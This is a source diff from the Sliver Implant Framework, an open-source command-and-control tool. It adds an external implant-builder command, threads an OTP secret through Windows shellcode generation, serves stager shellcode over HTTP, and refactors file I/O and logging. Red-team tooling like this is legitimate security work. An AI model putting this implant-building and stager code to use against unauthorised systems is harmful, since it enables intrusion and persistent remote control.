s.stagerHandler,
|
||||
).MatcherFunc(s.filterOTP).Methods(http.MethodGet)
|
||||
|
||||
// Default handler returns static content or 404s
|
||||
@@ -727,8 +757,8 @@ func (s *SliverHTTPC2) closeHandler(resp http.ResponseWriter, req *http.Request)
|
||||
resp.WriteHeader(http.StatusAccepted)
|
||||
}
|
||||
|
||||
// stagerHander - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request) {
|
||||
// stagerHandler - Serves the sliver shellcode to the stager requesting it
|
||||
func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request) {
|
||||
httpLog.Debug("Stager request")
|
||||
if len(s.SliverStage) != 0 {
|
||||
httpLog.Infof("Received staging request from %s", getRemoteAddr(req))
|
||||
|
||||
+1
-1
@@ -72,7 +72,7 @@ func acceptSliverConnections(ln net.Listener) {
|
||||
conn, err := ln.Accept()
|
||||
if err != nil {
|
||||
if errType, ok := err.(*net.OpError); ok && errType.Op == "accept" {
|
||||
break
|
||||
break // Listener was closed by the user
|
||||
}
|
||||
mtlsLog.Errorf("Accept failed: %v", err)
|
||||
continue
|
||||
|
||||
@@ -0,0 +1,262 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"runtime"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
|
||||
clientAssets "github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/server/builder"
|
||||
"github.com/bishopfox/sliver/server/generate"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var (
|
||||
builderLog = log.NamedLogger("cli", "builder")
|
||||
)
|
||||
|
||||
const (
|
||||
enableTargetFlagStr = "enable-target"
|
||||
disableTargetFlagStr = "disable-target"
|
||||
|
||||
operatorConfigFlagStr = "config"
|
||||
quietFlagStr = "quiet"
|
||||
logLevelFlagStr = "log-level"
|
||||
)
|
||||
|
||||
func initBuilderCmd() *cobra.Command {
|
||||
builderCmd.Flags().StringP(nameFlagStr, "n", "", "Name of the builder (blank = hostname)")
|
||||
builderCmd.Flags().IntP(logLevelFlagStr, "L", 4, "Logging level: 1/fatal, 2/error, 3/warn, 4/info, 5/debug, 6/trace")
|
||||
builderCmd.Flags().StringP(operatorConfigFlagStr, "c", "", "operator config file path")
|
||||
builderCmd.Flags().BoolP(quietFlagStr, "q", false, "do not write any content to stdout")
|
||||
|
||||
// Artifact configuration options
|
||||
builderCmd.Flags().StringSlice(enableTargetFlagStr, []string{}, "force enable a target: format:goos/goarch")
|
||||
builderCmd.Flags().StringSlice(disableTargetFlagStr, []string{}, "force disable target arch: format:goos/goarch")
|
||||
|
||||
return builderCmd
|
||||
}
|
||||
|
||||
var builderCmd = &cobra.Command{
|
||||
Use: "builder",
|
||||
Short: "Start the process as an external builder",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
configPath, err := cmd.Flags().GetString(operatorConfigFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", operatorConfigFlagStr, err)
|
||||
return
|
||||
}
|
||||
if configPath == "" {
|
||||
builderLog.Errorf("Missing --%s flag\n", operatorConfigFlagStr)
|
||||
return
|
||||
}
|
||||
|
||||
quiet, err := cmd.Flags().GetBool(quietFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", quietFlagStr, err)
|
||||
}
|
||||
if !quiet {
|
||||
log.RootLogger.AddHook(log.NewStdoutHook(log.RootLoggerName))
|
||||
}
|
||||
builderLog.Infof("Initializing Sliver external builder - %s", version.FullVersion())
|
||||
|
||||
level, err := cmd.Flags().GetInt(logLevelFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", logLevelFlagStr, err)
|
||||
return
|
||||
}
|
||||
log.RootLogger.SetLevel(log.LevelFrom(level))
|
||||
|
||||
defer func() {
|
||||
if r := recover(); r != nil {
|
||||
builderLog.Printf("panic:\n%s", debug.Stack())
|
||||
builderLog.Fatalf("stacktrace from panic: \n" + string(debug.Stack()))
|
||||
os.Exit(99)
|
||||
}
|
||||
}()
|
||||
|
||||
externalBuilder := parseBuilderConfigFlags(cmd)
|
||||
externalBuilder.Templates = []string{"sliver"}
|
||||
|
||||
// load the client configuration from the filesystem
|
||||
config, err := clientAssets.ReadConfig(configPath)
|
||||
if err != nil {
|
||||
builderLog.Fatalf("Invalid config file: %s", err)
|
||||
os.Exit(-1)
|
||||
}
|
||||
if externalBuilder.Name == "" {
|
||||
builderLog.Infof("No builder name was specified, attempting to use hostname")
|
||||
externalBuilder.Name, err = os.Hostname()
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to get hostname: %s", err)
|
||||
externalBuilder.Name = fmt.Sprintf("%s's %s builder", config.Operator, runtime.GOOS)
|
||||
}
|
||||
}
|
||||
builderLog.Infof("Hello my name is: %s", externalBuilder.Name)
|
||||
|
||||
// connect to the server
|
||||
builderLog.Infof("Connecting to %s@%s:%d ...", config.Operator, config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to connect to server: %s", err)
|
||||
os.Exit(-2)
|
||||
}
|
||||
defer ln.Close()
|
||||
builder.StartBuilder(externalBuilder, rpc)
|
||||
},
|
||||
}
|
||||
|
||||
func parseBuilderConfigFlags(cmd *cobra.Command) *clientpb.Builder {
|
||||
externalBuilder := &clientpb.Builder{GOOS: runtime.GOOS, GOARCH: runtime.GOARCH}
|
||||
|
||||
externalBuilder.CrossCompilers = generate.GetCrossCompilers()
|
||||
builderLog.Infof("Found %d cross-compilers", len(externalBuilder.CrossCompilers))
|
||||
for _, crossCompiler := range externalBuilder.CrossCompilers {
|
||||
builderLog.Debugf("Found cross-compiler: cc = '%s' cxx = '%s'", crossCompiler.GetCCPath(), crossCompiler.GetCXXPath())
|
||||
}
|
||||
|
||||
externalBuilder.Targets = generate.GetCompilerTargets()
|
||||
builderLog.Infof("This machine has %d compiler targets", len(externalBuilder.Targets))
|
||||
for _, target := range externalBuilder.Targets {
|
||||
builderLog.Infof("[compiler target] %v", target)
|
||||
}
|
||||
|
||||
parseForceEnableTargets(cmd, externalBuilder)
|
||||
parseForceDisableTargets(cmd, externalBuilder)
|
||||
|
||||
name, err := cmd.Flags().GetString(nameFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", nameFlagStr, err)
|
||||
}
|
||||
if name != "" {
|
||||
externalBuilder.Name = name
|
||||
}
|
||||
|
||||
return externalBuilder
|
||||
}
|
||||
|
||||
func parseForceEnableTargets(cmd *cobra.Command, externalBuilder *clientpb.Builder) {
|
||||
enableTargets, err := cmd.Flags().GetStringSlice(enableTargetFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", enableTargetFlagStr, err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, target := range enableTargets {
|
||||
parts1 := strings.Split(target, ":")
|
||||
if len(parts1) != 2 {
|
||||
builderLog.Errorf("Invalid target format: %s", target)
|
||||
continue
|
||||
}
|
||||
parts2 := strings.Split(parts1[1], "/")
|
||||
if len(parts2) != 2 {
|
||||
builderLog.Errorf("Invalid target format: %s", target)
|
||||
continue
|
||||
}
|
||||
format := parts1[0]
|
||||
goos := parts2[0]
|
||||
goarch := parts2[1]
|
||||
target := &clientpb.CompilerTarget{
|
||||
GOOS: goos,
|
||||
GOARCH: goarch,
|
||||
}
|
||||
switch strings.ToLower(format) {
|
||||
|
||||
case "executable", "exe", "exec", "pe":
|
||||
target.Format = clientpb.OutputFormat_EXECUTABLE
|
||||
|
||||
case "shared-lib", "sharedlib", "dll", "so", "dylib":
|
||||
target.Format = clientpb.OutputFormat_SHARED_LIB
|
||||
|
||||
case "service", "svc":
|
||||
target.Format = clientpb.OutputFormat_SERVICE
|
||||
|
||||
case "shellcode", "shell", "sc":
|
||||
target.Format = clientpb.OutputFormat_SHELLCODE
|
||||
|
||||
default:
|
||||
builderLog.Warnf("Invalid format '%s' defaulting to executable", format)
|
||||
target.Format = clientpb.OutputFormat_EXECUTABLE
|
||||
}
|
||||
|
||||
builderLog.Infof("Force enable target %s:%s/%s", target.Format, goos, goarch)
|
||||
externalBuilder.Targets = append(externalBuilder.Targets, target)
|
||||
}
|
||||
}
|
||||
|
||||
func parseForceDisableTargets(cmd *cobra.Command, externalBuilder *clientpb.Builder) {
|
||||
disableTargets, err := cmd.Flags().GetStringSlice(disableTargetFlagStr)
|
||||
if err != nil {
|
||||
builderLog.Errorf("Failed to parse --%s flag %s\n", disableTargetFlagStr, err)
|
||||
return
|
||||
}
|
||||
|
||||
for _, target := range disableTargets {
|
||||
parts1 := strings.Split(target, ":")
|
||||
if len(parts1) != 2 {
|
||||
builderLog.Errorf("Invalid target format: %s", target)
|
||||
continue
|
||||
}
|
||||
parts2 := strings.Split(parts1[1], "/")
|
||||
if len(parts2) != 2 {
|
||||
builderLog.Errorf("Invalid target format: %s", target)
|
||||
continue
|
||||
}
|
||||
|
||||
var format clientpb.OutputFormat
|
||||
switch strings.ToLower(parts1[0]) {
|
||||
|
||||
case "executable", "exe", "exec", "pe":
|
||||
format = clientpb.OutputFormat_EXECUTABLE
|
||||
|
||||
case "shared-lib", "sharedlib", "dll", "so", "dylib":
|
||||
format = clientpb.OutputFormat_SHARED_LIB
|
||||
|
||||
case "service", "svc":
|
||||
format = clientpb.OutputFormat_SERVICE
|
||||
|
||||
case "shellcode", "shell", "sc":
|
||||
format = clientpb.OutputFormat_SHELLCODE
|
||||
|
||||
default:
|
||||
builderLog.Warnf("Invalid format '%s' defaulting to executable", parts1[0])
|
||||
format = clientpb.OutputFormat_EXECUTABLE
|
||||
}
|
||||
|
||||
goos := parts2[0]
|
||||
goarch := parts2[1]
|
||||
|
||||
builderLog.Infof("Force disable target %s:%s/%s", format, goos, goarch)
|
||||
for i, t := range externalBuilder.Targets {
|
||||
if t.GOOS == goos && t.GOARCH == goarch && t.Format == format {
|
||||
externalBuilder.Targets = append(externalBuilder.Targets[:i], externalBuilder.Targets[i+1:]...)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
+2
-3
@@ -21,7 +21,6 @@ package cli
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -81,7 +80,7 @@ var cmdImportCA = &cobra.Command{
|
||||
os.Exit(1)
|
||||
}
|
||||
|
||||
data, err := ioutil.ReadFile(load)
|
||||
data, err := os.ReadFile(load)
|
||||
if err != nil {
|
||||
fmt.Printf("Cannot read file %s", err)
|
||||
os.Exit(1)
|
||||
@@ -147,7 +146,7 @@ var cmdExportCA = &cobra.Command{
|
||||
saveTo = filepath.Join(saveTo, filename)
|
||||
}
|
||||
data, _ := json.Marshal(exportedCA)
|
||||
err = ioutil.WriteFile(saveTo, data, 0600)
|
||||
err = os.WriteFile(saveTo, data, 0600)
|
||||
if err != nil {
|
||||
fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
|
||||
os.Exit(1)
|
||||
|
||||
+8
-9
@@ -22,11 +22,10 @@ import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"runtime/debug"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/c2"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
@@ -37,10 +36,6 @@ import (
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var (
|
||||
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
)
|
||||
|
||||
const (
|
||||
|
||||
// Unpack flags
|
||||
@@ -56,13 +51,14 @@ const (
|
||||
caTypeFlagStr = "type"
|
||||
loadFlagStr = "load"
|
||||
|
||||
// console log file name
|
||||
logFileName = "console.log"
|
||||
)
|
||||
|
||||
// Initialize logging
|
||||
func initLogging(appDir string) *os.File {
|
||||
func initConsoleLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, "logs", logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
|
||||
logFile, err := os.OpenFile(filepath.Join(appDir, "logs", logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
|
||||
if err != nil {
|
||||
log.Fatalf("Error opening file: %v", err)
|
||||
}
|
||||
@@ -98,6 +94,9 @@ func init() {
|
||||
daemonCmd.Flags().BoolP(forceFlagStr, "f", false, "force unpack and overwrite static assets")
|
||||
rootCmd.AddCommand(daemonCmd)
|
||||
|
||||
// Builder
|
||||
rootCmd.AddCommand(initBuilderCmd())
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(versionCmd)
|
||||
}
|
||||
@@ -111,7 +110,7 @@ var rootCmd = &cobra.Command{
|
||||
// Root command starts the server normally
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
logFile := initConsoleLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
defer func() {
|
||||
|
||||
@@ -37,7 +37,7 @@ var daemonCmd = &cobra.Command{
|
||||
}
|
||||
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
logFile := initConsoleLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
defer func() {
|
||||
|
||||
@@ -20,7 +20,6 @@ package cli
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
@@ -87,7 +86,7 @@ var operatorCmd = &cobra.Command{
|
||||
filename := fmt.Sprintf("%s_%s.cfg", filepath.Base(name), filepath.Base(lhost))
|
||||
saveTo = filepath.Join(saveTo, filename)
|
||||
}
|
||||
err = ioutil.WriteFile(saveTo, configJSON, 0600)
|
||||
err = os.WriteFile(saveTo, configJSON, 0600)
|
||||
if err != nil {
|
||||
fmt.Printf("Write failed: %s (%s)\n", saveTo, err)
|
||||
os.Exit(1)
|
||||
|
||||
@@ -22,10 +22,10 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/log"
|
||||
@@ -52,8 +52,8 @@ var (
|
||||
// GetDatabaseConfigPath - File path to config.json
|
||||
func GetDatabaseConfigPath() string {
|
||||
appDir := assets.GetRootAppDir()
|
||||
databaseConfigPath := path.Join(appDir, "configs", databaseConfigFileName)
|
||||
databaseConfigLog.Infof("Loading config from %s", databaseConfigPath)
|
||||
databaseConfigPath := filepath.Join(appDir, "configs", databaseConfigFileName)
|
||||
databaseConfigLog.Debugf("Loading config from %s", databaseConfigPath)
|
||||
return databaseConfigPath
|
||||
}
|
||||
|
||||
@@ -79,7 +79,7 @@ type DatabaseConfig struct {
|
||||
func (c *DatabaseConfig) DSN() (string, error) {
|
||||
switch c.Dialect {
|
||||
case Sqlite:
|
||||
filePath := path.Join(assets.GetRootAppDir(), "sliver.db")
|
||||
filePath := filepath.Join(assets.GetRootAppDir(), "sliver.db")
|
||||
params := encodeParams(c.Params)
|
||||
return fmt.Sprintf("file:%s?%s", filePath, params), nil
|
||||
case MySQL:
|
||||
@@ -88,6 +88,7 @@ func (c *DatabaseConfig) DSN() (string, error) {
|
||||
db := url.QueryEscape(c.Database)
|
||||
host := fmt.Sprintf("%s:%d", url.QueryEscape(c.Host), c.Port)
|
||||
params := encodeParams(c.Params)
|
||||
databaseConfigLog.Infof("Connecting to MySQL database %s@%s/%s", user, host, db)
|
||||
return fmt.Sprintf("%s:%s@tcp(%s)/%s?%s", user, password, host, db, params), nil
|
||||
case Postgres:
|
||||
user := url.QueryEscape(c.Username)
|
||||
@@ -96,6 +97,7 @@ func (c *DatabaseConfig) DSN() (string, error) {
|
||||
host := url.QueryEscape(c.Host)
|
||||
port := c.Port
|
||||
params := encodeParams(c.Params)
|
||||
databaseConfigLog.Infof("Connecting to Postgres database %s@%s:%d/%s", user, host, port, db)
|
||||
return fmt.Sprintf("host=%s port=%d user=%s password=%s dbname=%s %s", host, port, user, password, db, params), nil
|
||||
default:
|
||||
return "", ErrInvalidDialect
|
||||
@@ -126,7 +128,7 @@ func (c *DatabaseConfig) Save() error {
|
||||
return err
|
||||
}
|
||||
databaseConfigLog.Infof("Saving config to %s", configPath)
|
||||
err = ioutil.WriteFile(configPath, data, 0600)
|
||||
err = os.WriteFile(configPath, data, 0600)
|
||||
if err != nil {
|
||||
databaseConfigLog.Errorf("Failed to write config %s", err)
|
||||
}
|
||||
@@ -138,7 +140,7 @@ func GetDatabaseConfig() *DatabaseConfig {
|
||||
configPath := GetDatabaseConfigPath()
|
||||
config := getDefaultDatabaseConfig()
|
||||
if _, err := os.Stat(configPath); !os.IsNotExist(err) {
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
databaseConfigLog.Errorf("Failed to read config file %s", err)
|
||||
return config
|
||||
|
||||
@@ -22,7 +22,6 @@ import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
insecureRand "math/rand"
|
||||
"os"
|
||||
"path"
|
||||
@@ -298,7 +297,7 @@ func GetHTTPC2Config() *HTTPC2Config {
|
||||
return &defaultHTTPC2Config
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return &defaultHTTPC2Config
|
||||
@@ -327,7 +326,7 @@ func CheckHTTPC2ConfigErrors() error {
|
||||
return err
|
||||
}
|
||||
}
|
||||
data, err := ioutil.ReadFile(configPath)
|
||||
data, err := os.ReadFile(configPath)
|
||||
if err != nil {
|
||||
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
|
||||
return err
|
||||
@@ -351,7 +350,7 @@ func generateDefaultConfig(saveTo string) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(saveTo, data, 0600)
|
||||
return os.WriteFile(saveTo, data, 0600)
|
||||
}
|
||||
|
||||
var (
|
||||
|
||||
@@ -0,0 +1,59 @@
|
||||
package core
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2022 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
)
|
||||
|
||||
var (
|
||||
// ClientID -> *clientpb.Builder
|
||||
builders = &sync.Map{}
|
||||
|
||||
ErrDuplicateExternalBuilderName = errors.New("builder name must be unique, this name is already in use")
|
||||
)
|
||||
|
||||
func AddBuilder(builder *clientpb.Builder) error {
|
||||
_, loaded := builders.LoadOrStore(builder.Name, builder)
|
||||
if loaded {
|
||||
return ErrDuplicateExternalBuilderName
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func GetBuilder(builderName string) *clientpb.Builder {
|
||||
builder, _ := builders.Load(builderName)
|
||||
return builder.(*clientpb.Builder)
|
||||
}
|
||||
|
||||
func AllBuilders() []*clientpb.Builder {
|
||||
externalBuilders := []*clientpb.Builder{}
|
||||
builders.Range(func(key, value interface{}) bool {
|
||||
externalBuilders = append(externalBuilders, value.(*clientpb.Builder))
|
||||
return true
|
||||
})
|
||||
return externalBuilders
|
||||
}
|
||||
|
||||
func RemoveBuilder(builderName string) {
|
||||
builders.Delete(builderName)
|
||||
}
|
||||
@@ -137,7 +137,7 @@ func (t *tunnels) ScheduleClose(tunnelID uint64) {
|
||||
return
|
||||
}
|
||||
|
||||
timeDelta := time.Now().Sub(tunnel.GetLastMessageTime())
|
||||
timeDelta := time.Since(tunnel.GetLastMessageTime())
|
||||
|
||||
coreLog.Printf("Scheduled close for channel %d (delta: %v)", tunnelID, timeDelta)
|
||||
|
||||
|
||||
@@ -111,16 +111,16 @@ func (d *ddl) removeConstraint(name string) bool {
|
||||
return false
|
||||
}
|
||||
|
||||
func (d *ddl) hasConstraint(name string) bool {
|
||||
reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
|
||||
// func (d *ddl) hasConstraint(name string) bool {
|
||||
// reg := regexp.MustCompile("^CONSTRAINT [\"`]?" + regexp.QuoteMeta(name) + "[\"` ]")
|
||||
|
||||
for _, f := range d.fields {
|
||||
if reg.MatchString(f) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
// for _, f := range d.fields {
|
||||
// if reg.MatchString(f) {
|
||||
// return true
|
||||
// }
|
||||
// }
|
||||
// return false
|
||||
// }
|
||||
|
||||
func (d *ddl) getColumns() []string {
|
||||
res := []string{}
|
||||
|
||||
@@ -97,11 +97,11 @@ func (dialector Dialector) ClauseBuilders() map[string]clause.ClauseBuilder {
|
||||
},
|
||||
"LIMIT": func(c clause.Clause, builder clause.Builder) {
|
||||
if limit, ok := c.Expression.(clause.Limit); ok {
|
||||
if limit.Limit > 0 || limit.Offset > 0 {
|
||||
if limit.Limit <= 0 {
|
||||
limit.Limit = -1
|
||||
if (*limit.Limit) > 0 || limit.Offset > 0 {
|
||||
if (*limit.Limit) <= 0 {
|
||||
(*limit.Limit) = -1
|
||||
}
|
||||
builder.WriteString("LIMIT " + strconv.Itoa(limit.Limit))
|
||||
builder.WriteString("LIMIT " + strconv.Itoa((*limit.Limit)))
|
||||
}
|
||||
if limit.Offset > 0 {
|
||||
builder.WriteString(" OFFSET " + strconv.Itoa(limit.Offset))
|
||||
|
||||
@@ -56,6 +56,34 @@ func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
|
||||
return &config, err
|
||||
}
|
||||
|
||||
// ImplantConfigWithC2sByID - Fetch implant build by name
|
||||
func ImplantConfigWithC2sByID(id string) (*models.ImplantConfig, error) {
|
||||
if len(id) < 1 {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
configID := uuid.FromStringOrNil(id)
|
||||
if configID == uuid.Nil {
|
||||
return nil, ErrRecordNotFound
|
||||
}
|
||||
config := models.ImplantConfig{}
|
||||
err := Session().Where(&models.ImplantConfig{
|
||||
ID: configID,
|
||||
}).First(&config).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
c2s := []models.ImplantC2{}
|
||||
err = Session().Where(&models.ImplantC2{
|
||||
ImplantConfigID: config.ID,
|
||||
}).Find(&c2s).Error
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
config.C2 = c2s
|
||||
return &config, err
|
||||
}
|
||||
|
||||
// ImplantConfigByECCPublicKey - Fetch implant build by it's ecc public key
|
||||
func ImplantConfigByECCPublicKeyDigest(publicKeyDigest [32]byte) (*models.ImplantConfig, error) {
|
||||
config := models.ImplantConfig{}
|
||||
|
||||
@@ -67,6 +67,8 @@ type ImplantConfig struct {
|
||||
GOOS string
|
||||
GOARCH string
|
||||
|
||||
TemplateName string
|
||||
|
||||
IsBeacon bool
|
||||
BeaconInterval int64
|
||||
BeaconJitter int64
|
||||
@@ -159,6 +161,7 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
|
||||
Debug: ic.Debug,
|
||||
Evasion: ic.Evasion,
|
||||
ObfuscateSymbols: ic.ObfuscateSymbols,
|
||||
TemplateName: ic.TemplateName,
|
||||
|
||||
ReconnectInterval: ic.ReconnectInterval,
|
||||
MaxConnectionErrors: ic.MaxConnectionErrors,
|
||||
|
||||
@@ -98,7 +98,6 @@ func postgresClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
clientLog.Infof("postgres -> %s", dsn)
|
||||
dbClient, err := gorm.Open(postgres.Open(dsn), &gorm.Config{
|
||||
PrepareStmt: true,
|
||||
Logger: getGormLogger(dbConfig),
|
||||
@@ -114,7 +113,6 @@ func mySQLClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
clientLog.Infof("mysql -> %s", dsn)
|
||||
dbClient, err := gorm.Open(mysql.Open(dsn), &gorm.Config{
|
||||
PrepareStmt: true,
|
||||
Logger: getGormLogger(dbConfig),
|
||||
|
||||
@@ -32,7 +32,7 @@ func sqliteClient(dbConfig *configs.DatabaseConfig) *gorm.DB {
|
||||
if err != nil {
|
||||
panic(err)
|
||||
}
|
||||
clientLog.Infof("sqlite -> %s", dsn)
|
||||
clientLog.Debugf("sqlite -> %s", dsn)
|
||||
|
||||
dbClient, err := gorm.Open(sqlite.Open(dsn), &gorm.Config{
|
||||
PrepareStmt: true,
|
||||
|
||||
+123
-104
@@ -24,7 +24,6 @@ import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"io/fs"
|
||||
"io/ioutil"
|
||||
"net/url"
|
||||
"os"
|
||||
"path"
|
||||
@@ -85,6 +84,8 @@ var (
|
||||
)
|
||||
|
||||
const (
|
||||
SliverTemplateName = "sliver"
|
||||
|
||||
// WINDOWS OS
|
||||
WINDOWS = "windows"
|
||||
|
||||
@@ -149,6 +150,10 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) (string, *model
|
||||
cfg.Debug = pbConfig.Debug
|
||||
cfg.Evasion = pbConfig.Evasion
|
||||
cfg.ObfuscateSymbols = pbConfig.ObfuscateSymbols
|
||||
cfg.TemplateName = pbConfig.TemplateName
|
||||
if cfg.TemplateName == "" {
|
||||
cfg.TemplateName = SliverTemplateName
|
||||
}
|
||||
cfg.ConnectionStrategy = pbConfig.ConnectionStrategy
|
||||
|
||||
cfg.WGImplantPrivKey = pbConfig.WGImplantPrivKey
|
||||
@@ -255,9 +260,9 @@ func GetSliversDir() string {
|
||||
// -----------------------
|
||||
|
||||
// SliverShellcode - Generates a sliver shellcode using Donut
|
||||
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
|
||||
func SliverShellcode(name string, otpSecret string, config *models.ImplantConfig, save bool) (string, error) {
|
||||
if config.GOOS != "windows" {
|
||||
return "", fmt.Errorf("Shellcode format is currently only supported on Windows")
|
||||
return "", fmt.Errorf("shellcode format is currently only supported on Windows")
|
||||
}
|
||||
appDir := assets.GetRootAppDir()
|
||||
goConfig := &gogo.GoConfig{
|
||||
@@ -275,7 +280,7 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
Obfuscation: config.ObfuscateSymbols,
|
||||
GOGARBLE: goPrivate(config),
|
||||
}
|
||||
pkgPath, err := renderSliverGoCode(name, config, goConfig)
|
||||
pkgPath, err := renderSliverGoCode(name, otpSecret, config, goConfig)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -302,22 +307,24 @@ func SliverShellcode(name string, config *models.ImplantConfig) (string, error)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
err = ioutil.WriteFile(dest, shellcode, 0600)
|
||||
err = os.WriteFile(dest, shellcode, 0600)
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
config.Format = clientpb.OutputFormat_SHELLCODE
|
||||
// Save to database
|
||||
saveBuildErr := ImplantBuildSave(name, config, dest)
|
||||
if saveBuildErr != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", saveBuildErr)
|
||||
if save {
|
||||
saveBuildErr := ImplantBuildSave(name, config, dest)
|
||||
if saveBuildErr != nil {
|
||||
buildLog.Errorf("Failed to save build: %s", saveBuildErr)
|
||||
}
|
||||
}
|
||||
return dest, err
|
||||
|
||||
}
|
||||
|
||||
// SliverSharedLibrary - Generates a sliver shared library (DLL/dylib/so) binary
|
||||
func SliverSharedLibrary(name string, config *models.ImplantConfig) (string, error) {
|
||||
